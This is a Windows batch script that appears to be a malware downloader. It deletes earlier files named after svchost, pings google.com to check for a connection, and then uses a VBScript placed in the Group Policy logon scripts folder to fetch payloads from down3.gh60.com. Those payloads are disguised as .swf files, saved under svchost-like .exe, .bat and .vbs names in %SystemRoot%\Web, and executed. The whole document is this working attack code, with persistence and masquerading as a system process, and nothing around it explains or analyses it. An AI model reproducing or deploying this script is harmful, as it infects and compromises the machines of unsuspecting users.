@Echo Off Del /f /s /q /a %SystemRoot%\Web\svchst.exe :Next Del /f /s /q /a %SystemRoot%\Web\svchst.bat :Next Del /f /s /q /a %SystemRoot%\Web\svchst.vbs :Next Del /f /s /q /a %SystemRoot%\Web\svchost.vbs :Next Del /f /s /q /a %SystemRoot%\Web\svchost.bat :Next Del /f /s /q /a %SystemRoot%\Web\svchost.exe :Next Del /f /s /q /a %SystemRoot%\Web\svchost1.bat :Next Del /f /s /q /a %SystemRoot%\Web\svchost1.exe :Next ping www.google.com &&Goto ok Goto End :ok %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201001.swf %SystemRoot%\Web\svchst.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201002.swf %SystemRoot%\Web\svchst.bat :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201003.swf %SystemRoot%\Web\svchst.exe :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next start %SystemRoot%\Web\svchst.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201004.swf %SystemRoot%\Web\svchost.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201005.swf %SystemRoot%\Web\svchost.bat :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201006.swf %SystemRoot%\Web\svchost.exe :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201007.swf %SystemRoot%\Web\svchost1.bat :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\donw.vbs http://down3.gh60.com/xinde/uploadfile/swf/2010-09/20100000201008.swf %SystemRoot%\Web\svchost1.exe :Next %SystemRoot%\system32\GroupPolicy\User\Scripts\Logon\shijian.vbs :Next start %SystemRoot%\Web\svchost.vbs Exit :End ping www.google.com &&Goto ok Goto End